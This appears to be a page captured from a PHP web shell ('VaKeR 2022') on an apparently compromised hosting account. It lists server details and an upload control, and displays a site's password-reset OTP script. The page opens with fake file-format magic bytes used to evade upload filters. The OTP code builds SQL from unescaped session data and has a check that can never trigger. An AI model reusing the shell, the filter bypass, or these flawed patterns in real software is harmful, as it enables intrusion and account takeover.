%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/otp.php
<?php include('header.php'); 

     $date=date('Y-m-d');
     $sqli_check = mysqli_query($conn,"SELECT * FROM `user_tbl` WHERE update_date='$date' AND type = 'User' AND token = '1' AND status=1 AND email='".$_SESSION['email']."'");
    if (!isset($_SESSION['email'])) {
        echo "<script>window.location='".$base_url."forgot-password.php'</script>";
    }elseif(mysqli_num_rows($sqli_check) < 0){
        echo "<script>window.location='".$base_url."forgot-password.php'</script>";
    }

?>

<style type="text/css">
	.eye-icon {
    float: right;
    margin-right: 10px;
    margin-top: -30px;
    position: relative;
    z-index: 99999;
    }
</style>

<section id="login">
	<div class="container">
		<div class="row">
			<div class="col-md-6 offset-md-3">
				<div class="bg-grey m-5">

					<?php if(isset($_SESSION['message'])): ?>
                        <div class="alert alert-success alert-dismissible fade show" role="alert">
                            <strong class="text-dark"><?php echo $_SESSION['message']; ?> &nbsp;<i class="feather icon-thumbs-up text-danger"></i></strong>
                            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
                        </div>
                        <?php unset($_SESSION['message']); ?>
                    <?php endif; ?>

                    <?php if(isset($_SESSION['error'])): ?>
                        <div class="alert alert-warning alert-dismissible fade show" role="alert">
                            <strong class="text-danger"><?php echo $_SESSION['error']; ?> &nbsp;<i class="feather icon-thumbs-up text-dark"></i></strong>
                            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
                        </div>
                        <?php unset($_SESSION['error']); ?>
                    <?php endif; ?>

					<form class="form-control p-4" method="POST" action="">
						<h2 class="text-center text-danger mb-3">OTP Form</h2>
						<label>Fill OTP</label>
						<input type="number" name="otp" class="form-control" required>
						<button type="submit" name="fill_otp" class="btn-theme w-100 nextBtn mt-2">Submit OTP</button>
					</form>
				</div>
			</div>
		</div>
	</div>
</section>


<?php include('footer.php'); ?>

<?php 

if(isset($_POST['fill_otp'])){
    $otp = mysqli_real_escape_string($conn, $_POST['otp']);
    $date=date('Y-m-d');
    $loginQry1 = mysqli_query($conn, "SELECT * FROM `user_tbl` WHERE update_date='$date' AND type = 'User' AND token = '1' AND status=1 AND email='".$_SESSION['email']."'");

    if($loginQry1){

        $loginQry = mysqli_query($conn, "SELECT * FROM `user_tbl` WHERE OTP='$otp' AND type = 'User' AND status=1 AND email='".$_SESSION['email']."'");

        if(mysqli_num_rows($loginQry) > 0){
            $fet_user = mysqli_fetch_array($loginQry);

            $_SESSION['message'] = "OTP verification successful";
            echo "<script>window.location='generate_new_password.php';</script>";

        } else {
     
            echo "<script>window.location='otp.php'</script>";
            $_SESSION['error'] = 'OTP Does not match!.';
            
        }

    } else {
     
        echo "<script>window.location='forgot-password.php'</script>";
        $_SESSION['error'] = 'OTP has been expired!.';
            
    }
}
?>

VaKeR 2022